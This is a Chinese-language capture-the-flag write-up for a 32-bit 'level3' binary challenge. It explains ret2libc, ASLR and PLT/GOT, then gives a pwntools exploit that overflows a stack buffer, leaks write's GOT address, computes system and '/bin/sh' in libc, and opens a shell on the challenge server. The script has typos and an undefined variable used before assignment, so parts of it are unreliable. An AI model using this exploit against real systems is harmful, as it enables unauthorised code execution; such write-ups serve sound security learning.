这道题对于我来讲好难好难啊,涉及到了很多新的知识。
首先checksec
:可以直接栈溢出;基地址不变化;对数据有执行权限。
查看main()函数:
查看函数function():
无system,无/bin/sh,给了一个共享文件libc_32.so.6,明显为ret2libc。
ret2libc (return-into-libc)是一种利用缓冲区溢出的代码复用技术,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数,利用库函数中已有的功能来实施attack,而不是直接定位到注入的shellcode。system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。即使程序有ASLR?;?,也只是针对于地址中间位进行随机,最低的12位并不会发生改变,用工具来找到对应的libc文件。
ret2libc特征:1、没有/bin/sh;2、没有system和/bin/sh;3、无system和/bin/sh,但是给了libc.so文件;4、这三个全都没有。
ASLR:地址空间布局随机化,ios,android,windows,macos,linux的当前版本都具有ASLR保护。主要用于防止缓冲区溢出攻击,ASLR与虚拟内存管理一起工作,将程序的不同部分的位置随机化,令攻击者不能通过尝试和错误了解目标位置,因为地址将不同。
read()函数中,buf大小为0x88,但是在函数中竟然规定了256之大。明显的栈溢出。
攻击思路
libc内的地址是随机的,但是函数的相对地址是不变的,只要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。
某大佬攻击思路:
(1)通过function()中的read构造栈溢出,并且覆写返回地址为plt中的write地址。(2)通过wirte泄露read在内存中的绝对地址,并且接着调用function()(注:got中的read保存着read在内存中的真实地址)(3)计算出system和/bin/sh的绝对地址,再通过function构造栈溢出进行覆写。(4)成功
plt:procedure Linkage Table,延迟绑定,函数第一次用到时才进行绑定(符号查找,重定位等);
实现手法:增加一层间接跳转。
调用函数时并不直接通过GOT跳转,而是通过一个叫做PLT的项的结构来进行跳转,每个外部函数在PLT中都有一个相应的项。
ELF将GOT拆分成两个表叫做.got和.got.plt。
.got用来保存全局变量引用的地址
.got.plt用来保存函数引用的地址,外部函数的引用全部放到 .plt.got中。
思路
通过read覆盖返回地址没执行两次main函数,第一次泄露write函数的地址,第二次执行system函数。
exp:
from pwn import*
p=remote('111.198.29.45',52277)
# p=process("./level3")
# 获取文件对象
elf=ELF('./level3')
#获取lib库对象
libc=ELF('./libc_32.so.6')
#获取函数
wirte_plt=elf.plt['write']
write_got=elf.got[write']
main_addr=elf.sym['main']
#接受数据
p.recvuntil(":\n")
#char[88],ebp write函数地址,write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got的地址)write参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取wirte在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
# 计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
# 计算system的地址
system_addr=libc_base+libc.sym['system']
print hex(bin_sh_addr)
#计算字符串/bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh"获取
bin_sh_addr=libc_base+0x15902b
print hex(bin_sh_addr)
#char [88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接受数据
p.recvuntil(":\n")
#发送payloas
p.sendline(payload2)
#切换交互模式
p.interactive()